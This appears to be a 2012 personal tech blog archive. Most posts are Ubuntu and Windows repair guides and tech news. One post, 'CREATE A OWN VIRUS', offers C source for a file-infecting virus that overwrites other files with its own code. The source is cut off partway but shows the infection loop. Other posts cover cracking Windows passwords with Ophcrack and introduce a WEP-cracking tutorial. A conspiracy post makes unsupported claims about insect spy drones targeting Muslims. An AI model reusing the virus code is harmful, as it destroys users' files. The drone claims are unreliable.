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Showing posts from 2012

Fix Skype webcam Problem in Ubuntu

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                           Fix Skype webcam Problem in Ubuntu step-1              open the terminal and type this command ( sudo su ) to get root permission step-2               Then give this command on terminal ( sudo gedit /usr/share/applications/skype.desktop ) then one editor will come as given belown you have to change this line and u will get this lines in colour step-3           Delete the above given (Exec=skype) and Copy & paste this line into that ( Exec=bash -c  'LD_PRELOAD=/usr/lib/i386-linux-gnu/libv4l/v4l1compat.so skype' ) like given in below image and then save it and close the editor and type exit command in your terminal step-4            check your webcam is working.. go to your skype account in ubuntu Click main menu like given in that then go to option in that Then click video devices to ckeck your webcam is working in your ubuntu....

Recover Redhat 6 Linux Grub Easily

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RECOVER REDHAT 6 GRUB Step-1             Insert redhat DVD in your Cd drive Step-2             Select "Rescue Installed System" like given in below image Step-3            Choose-> Language on keyboard & Rescue method. Select "Local CD/DVD" for the rescue method Step-4            Next on the (Rescue Screen) select continue ok two time Step-5            Next on the " First Aid Kit Quick Start Menu " Select Shell  then shell will start like this bash.4.1# or Sh.1# Step-6 >#chroot /mnt/SysImage >#cd /boot/grub >#fdisk -l >#grub-install /dev/sda       ---> give (sda) after checking ur hdd name >#du -h      (to disk check) if u did properly it will display what i given below.. #this device map was generated by anaconda ... then restart your computer and see...

How to get recover from Windows NTLDR missing

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            G et recover from Windows NTLDR missing in Windo ws 7   only 6 steps to recover do what given belown step-1            Insert windows 7 dvd in dvd drive then leave it to run then click repair your computer below install now given in picture     step-2           It will run to search Os then click next and select CMD prompt in System recovery option given Step-3         Command prompt will open then type bootrec in cmd prmt then press enter Ste p-4        Typ e bootrec /fixmbr S tep-5        T ype bootrec /fixboot Step- 6        T ype bootrec /rebuildbcd T hen restart your computer ...

HOW TO CHANGE THEME OF FACE BOOK

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         HOW TO CHANGE THEME OF FACE BOOK    1. First thing you should have mozila firefox on your computer  go to tools in firefox click it u can see add-ons in that click that and type stylish in search bar don't forget to login in facebook and make lik given below picture.. then firefox will ask want to restart u should restart firefox.. 2.Then type userstyles.org in url then type facebook in search bar lik given in picture ur facebook profile should be login in next tab.. 3.Then click any one of themes given in userstyles.org website like given below 4.Go to facebook page it will load for few min then look it ur facebook new theme Enjoy it...!!! & share it to ur friends

Mosquitoe Spy drone for Urban areas to track Muslims

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Robot Mosquitoes for Urban Areas to Track Muslims financed by (US)   Is this a mosquito? No. It's an insect spy drone for urban areas, already in production, funded by the US Government. It can be remotely controlled and is equipped with a camera and a microphone. It can land on you, and it may have the potential to take a DNA sample or leave RFID tracking nanotechnology on your skin. It can fly through an open window, or it can attach to your clothing until you take it in your home   Reports indicate that the US military has poured huge sums of money into surveillance drone miniaturization and is developing micro aircraft which now come in a swarm of bug-sized flying spies. According to various internet sources, a team of researchers at the Johns Hopkins University in conjunction with the US Air Force Office of Scientific Research at Wright-Patterson Air Force Base in Arlington, Virginia, is helping develop what they are calling a micro aerial vehi

MeeGo os for Nokia mobiles

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Meego (Linux) os for Nokia mobiles MeeGo is a Linux-based free mobile operating system project. Primarily targeted at mobile devices and information appliances in the consumer electronics market, MeeGo is designed to act as an operating system for hardware platforms such as netbooks, entry-level desktops, nettops, tablet computers, mobile computing and communications devices, in-vehicle infotainment devices, SmartTV / ConnectedTV, IPTV-boxes, smart phones, and other embedded systems. MeeGo is currently hosted by the Linux Foundation. MeeGo was canceled in September 2011, in favor of Tizen. A new Finnish start-up, Jolla, has announced in July 2012 that they will pick up MeeGo’s community-driven successor Mer and reveal a new smartphone within the year 2012 Nokia Mobile MeeGo os v1.2 Harmattan use in Nokia N9 and N950. MeeGo was very closely involved in the launch of various handsets by the Nokia, such as N770, N800, N810, N900, N950 and the N9. MeeGo, as you k

Remove white dots from login screen in ubuntu 12.04

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Remove white dots from login screen in ubuntu 12.04                   If u feel given letters are to small press ctrl and rotate mouse wheel Your are having white dots when login into ubuntu no probz u can remove that white dots to open terminal press ctrl+t then copy and paste given commands into terminal sudo xhost +SI:localuser:lightdm sudo su lightdm -s /bin/bash gsettings set com.canonical.unity-greeter draw-grid false     After giving this command one log off your computer white dots will disappear lik below image

No antivirus needed for linux bcoz virus wont infect Linux

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                                                    virus can visible in linux it is a virus                                                                        it is that virus program Windows users have to watch their virus checkers as closely as the head nurse in the ICU keeps an eye on patient monitors. Often, the buzz in the Windows security world is about which protection-for-profit firm was the first to discover and offer protection for the malware du jour -- or should I say malware de l'heure ? The only thing better than having backed the winning Super Bowl team come Monday morning at the office coffeepot is having the virus checker you use be the one winning the malware sweepstakes that weekend. If a rogue program finds a crack in your Windows armor, paying $200 per infection to have your machine scrubbed and sanitized by the local goon^H^H^H^H geek squad not only helps to reinforce the notion that you have to have malware protection, but that it

how do i set the grub timeout in ubuntu 12.04

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How to set grub timeout in ubuntu 12.04 step-1 First open terminal click ctrl+t to open step-2 And type this command on that gksudo gedit /etc/default/grub   step-3 Aft giving that command it will ask password like below image give ur account password for that thn it will leave u in   step-4 One tab will appear like this  step-5 check GRUB_TIMEOUT and keep ur time there if u need to windows should be ur first boot os u can make GRUB_DEFAULT as (1) it will enter to windows step-6 save it like in picture and close it while closing i will ask to save again give close without saving lik given belown image this is how to make grub timeout thanks for watching..  

Advantage of linux(open source) operating system

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  Linux Advantages Low cost: You don’t need to spend time and money to obtain licenses since Linux and much of its software come with the GNU General Public License. You can start to work immediately without worrying that your software may stop working anytime because the free trial version expires. Additionally, there are large repositories from which you can freely download high quality software for almost any task you can think of. Stability: Linux doesn’t need to be rebooted periodically to maintain performance levels. It doesn’t freeze up or slow down over time due to memory leaks and such. Continuous up-times of hundreds of days (up to a year or more) are not uncommon. Performance: Linux provides persistent high performance on workstations and on networks. It can handle unusually large numbers of users simultaneously, and can make old computers sufficiently responsive to be useful again. Network friendliness: Linux was developed by a group of prog

Linux torvalds history

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Linus Benedict Torvalds born December 28, 1969) is a Finnish American software engineer and hacker, who was the principal force behind the development of the Linux kernel. He later became the chief architect of the Linux kernel, and now acts as the project's coordinator. He also created the revision control system Git. He was honored, along with Shinya Yamanaka, with the 2012 Millennium Technology Prize by the Technology Academy Finland " in recognition of his creation of a new open source operating system for computers leading to the widely used Linux kernel ". Torvalds was born in Helsinki, Finland. He is the son of journalists Anna and Nils Torvalds, and the grandson of poet Ole Torvalds. Both of his parents were campus radicals at the University of Helsinki in the 1960s. His family belongs to the Swedish-speaking minority (5.5% of Finland's population). Torvalds was named after Linus Pauling, the American Nobel Prize-winning chemist, although in the book R

BackTrack5(linux) how to crack wep network password (only for studying purpose)

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  BackTrack is a distribution based on the Debian GNU/Linux distribution aimed at digital forensics and penetration testing use. It is named after backtracking, a search algorithm. The current version is BackTrack5r3 History The BackTrack distribution originated from the merger of two formerly competing distributions which focused on penetration testing: WHAX : a Slax based Linux distribution developed by Mati Aharoni, a security consultant. Earlier versions of WHAX were called Whoppix and were based on Knoppix. Auditor Security Collection : a Live CD based on Knoppix developed by Max Moser which included over 300 tools organized in a user-friendly hierarchy. The overlap with Auditor and WHAX in purpose and in their collection of tools partly led to the merger. Tools BackTrack provides users with easy access to a comprehensive and large collection of security-related tools ranging from port scanners to password crackers. Support for Live CD and Live USB function

Every body knows Android mobile but how many knows Android is based on linux Operating System?

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Linux   Android's kernel is based on the Linux kernel and has further architecture changes by Google outside the typical Linux kernel development cycle. Android does not have a native X Window System by default nor does it support the full set of standard GNU libraries, and this makes it difficult to port existing Linux applications or libraries to Android. Certain features that Google contributed back to the Linux kernel, notably a power management feature called wakelocks, were rejected by mainline kernel developers, partly because kernel maintainers felt that Google did not show any intent to maintain their own code .Even though Google announced in April 2010 that they would hire two employees to work with the Linux kernel community, [ 41 ] Greg Kroah-Hartman, the current Linux kernel maintainer for the -stable branch, said in December 2010 that he was concerned that Google was no longer trying to get their code changes included in mainstream Linux. Some Google

World's Smallest artificial Heart transplant to 16months baby

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In today's feel good story, doctors in Italy successfully implanted this lil titanium pump into the chest of a 16-month old boy to act as his heart until a donor heart was found. Just don't go thinking about how you find another 16-month old heart for transplant, because I just did and now I've got the sads :( The doctors at Rome's Bambino Gesu hospital said the operation was carried out last month and made public this week. The baby, whose identity has not been disclosed, was kept alive for 13 days before the transplant and is now doing well. The tiny titanium pump weighs only 11 grams and can handle a blood flow of 1.5 liters a minute. An artificial heart for adults weighs 900 grams. "This is a milestone," surgeon Antonio Amodeo told Reuters television, adding that while the device was now used as bridge leading to a transplant, in the future it could be permanent. Hoho -- science used for good for a change! Also, I doubt it&#

2023 Humans Are Going To Live On Mars

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          Humans Will Live On Mars In 2023 Mars One’s mission objective Mars One plans to establish the first human settlement on Mars by April 2023. The first crew of four astronauts emigrate to their new planet from Earth, a journey that takes seven months. A new team will join the settlement every two years. By 2033 there will be over twenty people living, working and flourishing on Mars, their new home. The vision of Mars One A manned mission to Mars is one of the most exciting, inspiring and ambitious adventures that mankind can take on. We see this as a journey that belongs to us all, and it is for this reason that we will make every step one that we take together. This will also be our way to finance the mission: the mission to Mars will be the biggest media event ever! The entire world will be able to watch and help with decisions as the teams of settlers are selected, follow their extensive training and preparation for the mission and of course obse
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CREATE A OWN VIRUS              This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program. Type this in C  #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host);

Hack windows passwd using Oph crack(linux)

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How to crack a Windows password with Ophcrack Live CD Extremely impressed at the ease and speed with which the Ophcrack Live CD cracked my Windows admin password when I tested it out a few weeks ago , I thought it might be useful to throw together a quick guide detailing how to use this powerful little utility. step-1 first download ophcrack live cd from this link----> http://ophcrack.sourceforge.net/ then burn that iso image using burner(use CD's) to burn then insert that cd into ur dvd drive then restart ur computer (before that change ur booting priority to dvd drive) then it will boot step-2 click first option in grub appear it will get in it search ur passwd in rainbow table step-3 Then it will analyse ur passswd in windows(sam file) it will appear in 1 to 2 min step-4 if there is no password it will appear empty or if u kept password for any other user it will appear lik this shown belown                           now u got ur pass

How to make 3D desktop for ubuntu linux..

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 What Compiz Is Compiz is a compositing window manager, a program that beautifies the desktop with unique animations and special effects. How to install compiz step-1                 get into ubuntu software center to get compiz step-2   then click on compiz & install.. it will be install in few minute.. step-3 then also install synaptic package step-4 then type as ccsm in dash home it will appear.   Then enable wobbly windows to make elastic tab step-5  this step to make rotaing cube windows if u r using ubuntu 12.04 plz make lik this   get into ubuntu unity plugin and make disable then side ubuntu wall will be disapear... step-6 then enable desktop cube step-7 Then enable rotate cube step-8 then get into desktop cube and make wat i did below   choose any color for top & bottom of the cube if u need u can choose any picture